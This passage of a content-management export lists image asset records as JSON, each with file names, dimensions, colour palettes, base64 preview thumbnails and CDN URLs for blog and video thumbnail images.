Qzx7yfaTE9f0Oh2CdffKCw+JPZ0r/ki/8xWXhmYuqJ1OQTqvXjBaj18ShtBLmJU6oNYU7pFJvdu4Ia28BMbqKZ22hWlUy+xex6l6mlLubAduaWqcIjs3/9Ivn2EX/0AVnvY8ZuiOpNvKGzoV1X8ALbuHsJzVgkkV5AlIs45Q0mPp2weXXB4m6DUKqGFm2wXrzmYq9PaemJkHmPYfZYnf1Beb6DFj/FIZ28AMeEEnKihDm5jBwrI4S2SOT2+fTPAflyFTVdR9drbH88p3d4x+rXX4StWxJWl8rKMztbD8SzA4VHL08Z83zBF1snnN0maFbwhCoEzQOst1Wsd+dEUi3CsXPev2lQWujwYbqDnr7GeH3LTKHPzMdroqkaHuV3hq88ZQLqJkpsBymyiye0g6xX0ZNN9NQlmtUiZJyjmnW0RJ2QcYIcPSNstUm+62JNtAjHG/i0BkKwic0uLKMGysT0b6jGAf7wPopxipn9Tjx7jZG5GsIlvYpL2sXu+4bDV8Gr1lDMForZQI42EcOXwxrZXrmWkMRlVHWToL6HqOwRiBwTSTaJpr8PVarxGqKyz7h3ixFhjVH3BnbfPi75FCFYw61c4FFfSm/7w7nMqPMzY8IKY+614ZHdV8EZOMAlV4dhD/Zxzxaj7nVGhK+MCKuMeys4AoOqtHArnWEvxcgj/wMXe4QxJV7LhQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#382c62","foreground":"#fff","population":0.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04257c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1b237f","foreground":"#fff","population":8.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0bac6","foreground":"#000","population":7.92,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9198e7","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#606b8d","foreground":"#fff","population":2.83,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b237f","foreground":"#fff","population":8.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Copy of WIP Devrel Video thumbnail template (1290x1080 169) (2).png","path":"images/sczeoy4w/production/6ed3fb70f59eab0ccbb995834760805d5d26246f-1920x1080.png","sha1hash":"6ed3fb70f59eab0ccbb995834760805d5d26246f","size":683870,"uploadId":"yQv9pyeHisferdmTGOWUJ1ATux8bvA8T","url":"https://cdn.sanity.io/images/sczeoy4w/production/6ed3fb70f59eab0ccbb995834760805d5d26246f-1920x1080.png"} {"_createdAt":"2023-12-19T10:45:54Z","_id":"image-08ae05becfc3cb6e7683cd0d5982dc7eb50a1d8b-6048x4024-jpg","_rev":"7oPGYyiRG7hm5kP9hfF1IM","_type":"sanity.imageAsset","_updatedAt":"2023-12-19T12:29:53Z","altText":null,"assetId":"08ae05becfc3cb6e7683cd0d5982dc7eb50a1d8b","description":"Someone holding a pen and ipad","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VH3mblm~RRk]ndaIjBkZjYjYM{kDs+aJWAp0j^WZbxj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.502982107355865,"height":4024,"width":6048},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFBgj/xAAhEAABBAIBBQEAAAAAAAAAAAACAAEDBAURIQYTIjFBcf/EABcBAAMBAAAAAAAAAAAAAAAAAAAEBQb/xAAeEQABAwQDAAAAAAAAAAAAAAABAAMEAhEhMRIjUf/aAAwDAQACEQMRAD8A5/yYWLJRxBDJofe2+rQYPp+xQjKzIPi46d0riylyNM5JZjGQX0ziqNPISDjO1rfLs5O/LrQw43fS7fGwocqSS0WrZ0fEhfMWsu3CFCv2TOybv+ITTk+kVEIbiniF/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#331e2e","foreground":"#fff","population":0.51,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#063575","foreground":"#fff","population":11.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#063575","foreground":"#fff","population":11.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#055493","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7ec3fa","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#538893","foreground":"#fff","population":0.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0772c8","foreground":"#fff","population":9.12,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"AIVEN1318.jpg","path":"images/sczeoy4w/production/08ae05becfc3cb6e7683cd0d5982dc7eb50a1d8b-6048x4024.jpg","sha1hash":"08ae05becfc3cb6e7683cd0d5982dc7eb50a1d8b","size":7588165,"title":"Crabweek photo","uploadId":"AgEBBZTI3f3LRSu2IHMe9gJuPpYFMo99","url":"https://cdn.sanity.io/images/sczeoy4w/production/08ae05becfc3cb6e7683cd0d5982dc7eb50a1d8b-6048x4024.jpg"} {"_createdAt":"2023-09-27T16:03:06Z","_id":"image-53200d598f12cb0f3491fbd63be31758c5a08014-6000x3375-png","_rev":"kaQ4ZWos4gq6sBfd80Lga5","_type":"sanity.imageAsset","_updatedAt":"2023-09-27T16:03:06Z","assetId":"53200d598f12cb0f3491fbd63be31758c5a08014","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M784ce$[MvniM_-@WnRhbKRj0MRjxtk9t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":3375,"width":6000},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAACz0lEQVQokU2RWU8bBwCE9xe0GBOvvT53fa7NArZB4VpzrA0OEAKmUEKA2mDAHD7w+oJgCJfSRE0VoUqV2h/7VfFTH+Zh5uGTZkawOjfxhPYJDhaJDJ+ixsuo8SpqvI6aaBGJd/BrHbzqFb5YF2XwHll7Qh586GXukIkUKCPKp9h8ZQTR+x5ttMTknMm00SaV+Ugqc4ue+cR0+gE988xU+jMTxhemM99IZV9IZf9CX3xhwvjK+NwzY/odwSETUb5AcMg7xMfPmV1sk166wVi6I738gLH8yGz2ifTKV5Zy31lY/U767QvZ9b9Z/uVf3mz80/PGyjdms78TTXawKxUE0bNFYvQQPVUm8bpMLFlhItUgvdhhavaa+GSXsdQDM8Y985l7Jue/kNT/ZHzmD4yFzxgLjyQnuvjUBna/ieBSNllfOGHvbYVYrIDTf8CbrIlZ6vJh+5bISIvwUIONlSbH2w3m5m9QBj8RT96xu3ZHIfeR0UQNu1xGVEwEb2CL/dVzzjYu0aJ5JKXAu9UWj81HSodPxJJtQlqd3XWT+m+XGPMmnnALLX7Fzto1h7kGr5NnOH6cIpcRJN82+tQJhn5GMFJA9OV71dfeXZPJdokm2wS1S1IzJktZk/hYBVewgl9rM6630PUqw8kKSrSGFKj+2PBXwrE80eEj5EgRu1zAGy4RTdSJJpq99+RolchIDW2sTkC7wBU8wxdtoibaqPEakZE6gaEWrlATwSbliChbaLEC4aETXIEioq+IQzlF8l/gUM4R5WMcyhGS/wjRd8ArzwEOfxl3qIYzcI4zUMEZbCIFOwhWcQ3ZlSMU3MWvFpGUA6yuAlZXkQFPiQH3Cf3OAhZpH4u0R59jhz7HBwbcx7zyXvQkynUcgSucoVuEn2zr9NlyWOybWKT39Et79DvzWN3/B+axSLs90M/27Z6srkNschW7v4UUvMEVecCtPvMfd5eNAgaFRxUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b2c60","foreground":"#fff","population":0.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":9.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1c257f","foreground":"#fff","population":9.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c5b5c2","foreground":"#000","population":9.64,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#929ae7","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#656b93","foreground":"#fff","population":3.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c257f","foreground":"#fff","population":9.67,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"GCustom Devrel video thumbnail template Dark blue.png","path":"images/sczeoy4w/production/53200d598f12cb0f3491fbd63be31758c5a08014-6000x3375.png","sha1hash":"53200d598f12cb0f3491fbd63be31758c5a08014","size":2618923,"uploadId":"JW2AK7EJNSzqyTYyjnEgwUHa1tgPtEZI","url":"https://cdn.sanity.io/images/sczeoy4w/production/53200d598f12cb0f3491fbd63be31758c5a08014-6000x3375.png"} {"_createdAt":"2023-09-20T09:07:14Z","_id":"image-66915990e72f04448d13dfbd61106129b05ae0df-6000x3375-png","_rev":"kaQ4ZWos4gq6sBfd7s6fCt","_type":"sanity.imageAsset","_updatedAt":"2023-09-20T09:07:14Z","assetId":"66915990e72f04448d13dfbd61106129b05ae0df","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M77nO;-fISV[V?-@WTRhbKRj0gIoxut6WX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":3375,"width":6000},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAACz0lEQVQokU2Sa1MaBxiF9xe0IsKyyy6wuyyCXCISi0YhVCGgSZhoDVabaLhIMFzkJmiKSUSdNpk2k3Ey05n2xz4dyZd8eD+c8+GZOe85gtX5HJfvADNUYfZejUC0iT96QiDaJbBwij96hhE+wx04xxO8QA9dooWv0ULjiaf4esjeJqJ2jN3TRBDde4Tv13iQ6rG6PiSZ+Z1k5h2JzAdW02NWMzespP9gee0jK5m/SeZuSea+ksjesrz+iaXUDYuJ95iRHqLWQJC0faJLdVLZIenNEeub70k/HrO+eUUqd036ySc2tr7wKP+F9NNbclv/sLnzHxu//DvR608+k8r9yVzsDIfWQrCpBSLREolkg9hSk2CsRTzRZy0z5MHDc6LLFywmxiTWLvk5c8nK2kdiyc9EV/8isnRDOH5J8P4IT6CPw+ghiOoO2YdlDvMtFubLKN4SmUdd2tURe7sX+OcHeEN98rk+R7t90ukRevgDsvkWh9FB1FrYPY3J/0S9hyC5d9jJvqZV6BCfL+M0iuSfnnJ1esVx5ZpgbIgR7LCb79E7bJPN9HD5B4haB7urwoxygE0tYndXv5ViVwssxytkU3XmQmUkrUgs3mL72VuyGxfMLQwwgm1WEl0eZ7vEfmqh+lqoZhvNW0HT99GNAzzeI2S9gWBTCvgCh4TmqxhzR8hGGS1wTCjWIxgbTNrzBFrM3msTWeziizRRzDe4zBN0Xw3de4hultHMOk6jg2CTtvHrBcKhIrORGqpZwaFVkI1jZG8DSa8jeqpIehWnt4pDK2F3lRA9d359ElX0vEEyukjeIYJVfIambOMzX2AEKsh6CatSxKpUmHHVmFFfM+0sYpEPsMgvmZL2mZJ+w6oeYXM3sLnvRn0HO8fpe4fwg32LKfs2FsdzLPIe0/JLpp2vsKrfA19hkV9MQD86fp2cVSlh106QjAGyOULxj1EDN/wPew+HorPsXMQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a2c63","foreground":"#fff","population":0.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041880","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1b257f","foreground":"#fff","population":9.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6b9c4","foreground":"#000","population":8.58,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#919ae7","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676c93","foreground":"#fff","population":2.76,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b257f","foreground":"#fff","population":9.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"video-thumbnail-kafka-tiered-storage-2.png","path":"images/sczeoy4w/production/66915990e72f04448d13dfbd61106129b05ae0df-6000x3375.png","sha1hash":"66915990e72f04448d13dfbd61106129b05ae0df","size":2004252,"uploadId":"qY8nN2I251wq4qFFURi0AfBlngjJDq0H","url":"https://cdn.sanity.io/images/sczeoy4w/production/66915990e72f04448d13dfbd61106129b05ae0df-6000x3375.png"} {"_createdAt":"2023-10-27T10:43:33Z","_id":"image-075c43cf00ace671c50b03ef5e00a1c60721c21f-752x405-png","_rev":"1h5Wm5PSHuci3kB9Xrrmgl","_type":"sanity.imageAsset","_updatedAt":"2023-10-27T10:43:33Z","assetId":"075c43cf00ace671c50b03ef5e00a1c60721c21f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MABCl]1Q+?J3#@}_6#}7AIM~rAT2iuFg}Q","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcSAAAXEgFnn9JSAAACiklEQVQokT3NS0/TAAAA4F68mhiFPbt2fWzduhXarXu0ZY+ugz0ce7DZIdmg6944EMaGMLc4BCSAICaQGOXgUS8e9MhJD/4K/4B/wKshMf6ALx9wT1d4YJQnwceTppIGVnRITY+2DXjHaNk0WfuQbRcmRzA5Aq19jblNYKWuR/wRQ36n7/7J3gEgS9nBNGlvh/atu7iuJ/DMHxqyMyM2MPaHD7nIMS+9FqLnNDeGiQZlS6tc4DpK/YzDv1IaAHdUhHA3mhzMpUaJzF4yd5jKHycXThO5s0TuTSzzNpG7iueuvMExQyvlWO5EyZ8X4pfR0HtRAnCyEpC2EulhMvMitXAwnz+aL5xki+fZ4sVc+py/nU+FyLHA90sx9XqjfnOwdr3e2cj05NAegNiWXVxHELcEcZsP7/DigBNHobl9MXHkEl4ijudmcjjFDORo57RS/TZs3uyvfdjZb9U+JfJfASO6ZHGqJNO0TbcRexMiWhDRQchNjOqbbNtadFuP77qYXiNVf1V+dNHIXT5ZHNR7Su2zXP1+i61O1U43rFQTstQMWF2PtjTmVQO6hhFPCbJrdfS87GpekmUpIktCJRlKRx/OJnuJwjtAA8ogumTCl0FcMaCqAf2HLUQ7HahWYmomrAr+Au+V3IyPJCjSYidJmmZnPbwM6HVZM1Qw42UDpkyAK/eNlQlTfQJq087GsLD4sZXZyqeCXMTNBl3uGZygdSCBETTDBmg2CJiNGQcmO6gqStY1kPIfU87WuLj4ZTPezYc9rMB6w34+Yp/y6c0kZnO5PCHaHQS0YMEIFY1IyYCsaGFFC9d0SEuHdHDb+nK8eqZmyvEgNc2xPtEvSITTq4XssJWedgcoZuYvo3C9qxkHyRUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#372f56","foreground":"#fff","population":0.87,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04146d","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#70596e","foreground":"#fff","population":5.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a94bf","foreground":"#fff","population":0.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2bda0","foreground":"#000","population":0.09,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#70596e","foreground":"#fff","population":5.7,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb510d","foreground":"#fff","population":2.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Galo_Friele_blog_752x405_01.png","path":"images/sczeoy4w/production/075c43cf00ace671c50b03ef5e00a1c60721c21f-752x405.png","sha1hash":"075c43cf00ace671c50b03ef5e00a1c60721c21f","size":210092,"uploadId":"MipffgafTRkf1G65EC2vJ9Le38kwDNo6","url":"https://cdn.sanity.io/images/sczeoy4w/production/075c43cf00ace671c50b03ef5e00a1c60721c21f-752x405.png"} {"_createdAt":"2023-11-10T09:03:06Z","_id":"image-2547027a1f3d73d158338af245f42c35c93ca6a3-1866x880-png","_rev":"tCCq0oy69ssaoA8YOJycJg","_type":"sanity.imageAsset","_updatedAt":"2023-11-10T09:03:06Z","assetId":"2547027a1f3d73d158338af245f42c35c93ca6a3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDAmlKXA4mV@NzyZsoIuof$y9aadxbW=kW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1204545454545456,"height":880,"width":1866},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAABYlAAAWJQFJUiTwAAACW0lEQVQokV2Q20+SAQDFv625sszUMi+JKAGKeEMQPhG5CQgIkvgJpIDKJ3hFE0RNbGE6tdK2NntrTf/SX5P11MNvOw/nnJ0dodOS4X+6RJlu6yqaiTVMU9tMRveYCO/S59pANZ6la0xGKf7zjsm8Hc+ismXptskI/Z48+skHtnnQ5vA+/lSFudwl8c1vJPPXLO3ekNq5IbH1HWn9K5HMOc5YmWH/h2q22uHJ0ze5jSBGDhBnSojhItZIiUD6lNzhLftnfzi8uOPw8p6jyzvKV/ecXN1xfHVH4fQ3i/lrXLEylpn96ghzuIgxWEDQO1YY92VwTK0w4pYxBXbwJMqElr8QSFXwLnwimi6T3zyitF1iKbOPR9rD5F9Hb0/TY02gFedRWyRUpihCu86NfWIar/sdA9YYRt863vfHhJYquKNFDC4ZpzdNMZWkIieZDafoMcdQDgbpG3ZjNIyh6RmmqUPP8zYdQoPCgHbAyYg5iM0hkVjMs7l3zkbhCjl3gpQoEJRKZFdPyG+dEUlW8EyvEZmaJT0dZCvsIiiO0NKhofZVN0Jts5r6DgOdvXb8Tj+b8ThFeZWdXIHcxgXJjZ8EM7/wLt/iSv7AIX0mKckcLETZi8+xOx8hMTlBt0rPsxYtQk19K4+bumh8o2dIbyJss5L2OUmFowRmd7FGPmLwF9A5siiN8yj7fdgtdpI+N5LXz4zbh1e0oFRqqG1SIDx62khNXTNPGhS8eK1GrdJhHxrAPmKqfqQ1hdCZQ2gNXtrUFupbe1EotIwNDmI3jmIzjiL262htaaem7iV/AXD8UPckaVFyAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f3d5e","foreground":"#fff","population":3.88,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042a5f","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2f3d5e","foreground":"#fff","population":3.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ba8372","foreground":"#fff","population":0.64,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6b876","foreground":"#000","population":0.98,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#647896","foreground":"#fff","population":2.72,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc056","foreground":"#000","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"idealo Black Friday.png","path":"images/sczeoy4w/production/2547027a1f3d73d158338af245f42c35c93ca6a3-1866x880.png","sha1hash":"2547027a1f3d73d158338af245f42c35c93ca6a3","size":882319,"uploadId":"GZbMoEItkhIRezJ3UulIVctAiHjpKAhp","url":"https://cdn.sanity.io/images/sczeoy4w/production/2547027a1f3d73d158338af245f42c35c93ca6a3-1866x880.png"} {"_createdAt":"2023-11-03T12:21:55Z","_id":"image-73a1bd250ab438408fda8c271ef9920f9986e254-6000x3375-png","_rev":"gpV4rQ1RP6Oi5x5QrPe5Rr","_type":"sanity.imageAsset","_updatedAt":"2023-11-03T12:21:55Z","assetId":"73a1bd250ab438408fda8c271ef9920f9986e254","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDA+^50^;gtL9c}pBq#PSQNZET$wozNLxT","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":3375,"width":6000},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAACuklEQVQokX3Qy04TCwDG8T6A3GkpvQi9MJQKVDtSbakUmsKAwpxehRFLBKSKGim0tE4tRQzFaFAT4wU9OZzoxhgSE3WnMbrRha5c+AomPsXfINHEGH2BX/7fp6nVxzBZFOx7phE6T+PYew6nex7BNU9T6xxGexq9dQG9NYuhpUCbeBUpvEly5hm5qf/YCsu8H2zhWkDG6y6j0ZnHcO5N4e3N4OvLcTCQp2egRN/gZfyhy3QdWkFwFTAJecyOIvu715hQ1sieKnNjMsOHuMhXuZJn/SKyJ49G3zzO/u45jkSWORJZIThUYvCfVSJj15ETN5DkdbpDV3D7y7gOlpGkMitni9xZOM/GeJx3spMvI9W8kjoYPTC/XajQLs4S6M8TGFDp8i/i6VG/FwakVfyhMgHpKj3SOr7gNRLhVW5lijzKneXBeJjnh0U+Dll5EvIS9WTRVDXE0ZoVjLYJTC2TGKxTGG0pmhznaHaksTiz2DtVWlxLtO1bJiEv80AtsVXKsJma4OFwiKchkVu9gwx1FdDsqo9SoY1RqYtTpR+juvE4tcYT1JlOUr97Fl3TeRos8zRYFzG3XqB/oMCV7BIbJZVLM2kujUxzXVJY6E3hE9e2wRi7tDEqtsGG0Z9gvXkG7TbYvAPqbYsYhQuI/hwnpvKcmc2iHCtyOrlBbvIhY/K/dHruoqnURqnRxahrPEqd8Ri1xuTPwl9A6w7Y4c0jJTKMKHMMK2uk0m9Iq5+JJl/T4fsfTa0ugtUUxSEkse+ZwWCbps40+QdQpc1T4NDwIsHIAlJ8neSZt0ynP3F49CXt3s0d0GKK0iocx+48+VfQYFextBfp8F3E3VOkq+8mQXmLUPgFnuBjBPE+mgptlCpdjGp9ghqDQo3hx+TfP2y0qxiFJZqcK1jay9g61xHct2kVN7Dvu4fVdYdvcGefQJaN1p4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4a68","foreground":"#fff","population":3.71,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c74","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ca6344","foreground":"#fff","population":10.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dee0e8","foreground":"#000","population":3.28,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8494dc","foreground":"#000","population":0.55,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5c78","foreground":"#fff","population":0.89,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ca6344","foreground":"#fff","population":10.79,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"7.png","path":"images/sczeoy4w/production/73a1bd250ab438408fda8c271ef9920f9986e254-6000x3375.png","sha1hash":"73a1bd250ab438408fda8c271ef9920f9986e254","size":3067672,"uploadId":"cautkPCQ2C3OmHqMvRqJr6IeiiqHeoLT","url":"https://cdn.sanity.io/images/sczeoy4w/production/73a1bd250ab438408fda8c271ef9920f9986e254-6000x3375.png"} {"_createdAt":"2023-09-21T08:34:42Z","_id":"image-48552be9d3f69bff90a7f08d7a00ebcb3e999290-1200x628-jpg","_rev":"rpwBSMa1i11HwZnbWq71XL","_type":"sanity.imageAsset","_updatedAt":"2023-09-21T08:34:42Z","assetId":"48552be9d3f69bff90a7f08d7a00ebcb3e999290","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9CFx%0viHOx[j%ETO}40-xvVsMvO[$$$w","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAYHBf/EACEQAAEEAQUAAwAAAAAAAAAAAAEAAgMEEQUGEhMhIkFS/8QAFwEAAwEAAAAAAAAAAAAAAAAAAgMEBv/EACIRAAEEAAUFAAAAAAAAAAAAAAEAAgMRBAYSFSFBQmGh0f/aAAwDAQACEQMRAD8AkOlWNIbWhbOxvPHyJZ9pjp1KlvqNSu8AgkSNbgJABPRH6rZsloOz6hIBPI+4WgM5hfHXc6kuOISB99BazItw3qETK8M8ZawY9CEuX/Lk2P0UIzlrCuOp3JPgfFRvEo4A9lf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4472","foreground":"#fff","population":1.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04126d","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f1903e","foreground":"#000","population":2.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a95b8","foreground":"#fff","population":0.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1903e","foreground":"#000","population":2.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5daa","foreground":"#fff","population":0.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e24d11","foreground":"#fff","population":1.17,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"analyzing-netflix-with-pgadmin-and-postgresql_meta-preview.jpg","path":"images/sczeoy4w/production/48552be9d3f69bff90a7f08d7a00ebcb3e999290-1200x628.jpg","sha1hash":"48552be9d3f69bff90a7f08d7a00ebcb3e999290","size":73321,"uploadId":"x9uJbdpsN4ylXurvapSkQGzhVKHuX1Vq","url":"https://cdn.sanity.io/images/sczeoy4w/production/48552be9d3f69bff90a7f08d7a00ebcb3e999290-1200x628.jpg"} {"_createdAt":"2023-11-10T08:53:39Z","_id":"image-037ce0c2189d278c34a86d1d31fc0161e0a2398a-1200x628-png","_rev":"2Eye2NjagEp5aUWL7qJaOO","_type":"sanity.imageAsset","_updatedAt":"2023-11-10T08:53:39Z","assetId":"037ce0c2189d278c34a86d1d31fc0161e0a2398a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M69%uq00-L-l02~T4;xr%I9e00=;WCNN?F","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACqklEQVQokVWSW08TCQCF+wtMoLYUZtpuL9PpBXqnwrTVIgi1SFug3jBsFIWoQUUs2gp1aBlotSBSzRJ3XYO3mGyyiS++Gdl/9pnC0z58z+ecnE/XcXISd+cYSscQqTb6EcLGPKJwHYPlDkbrfbpsDzE5VuhxlhFcz5ACGqnROlcuaxQuagyc2cDqrdDtLKPrMEzh6M4TFXMMmvPErQXC9lmc0m2s7iVs3iI23xOsnjKC9BSbTyWd26a2use7Rp3959sUV16jDNcRXRV0nd2XkH1zDAwuEo8/IJlcJnG6hJJaQzlbJT68SeyMhjeqYpbX8PVvsFzc5/uXPzl81+DHx12+fjhg9uYbbL0aOqP5KqHBe5y7sMZoVmUsV+N8fovz+QaZySaZyZcMZZoEleNZgQGNyrO/+PnvAf/93eTwU4tv/3xmYfEtUnAbXZdlhlhiiUxeJZOvMj6lkS00mCi8YKKwQ+7SHuPTeyRHm7jDNdyhGrNzb3jbes+X1h4Hf+xT3z5gvNDC3tdEZ7RcJRJ/wFi2wlhWJZ2tMTqhMTK+yciFBuncDun8Lqn0Dr39Gr951wknnnNx5jU3518xM99ieGoXd3QTs3sD3UnxCr3h2y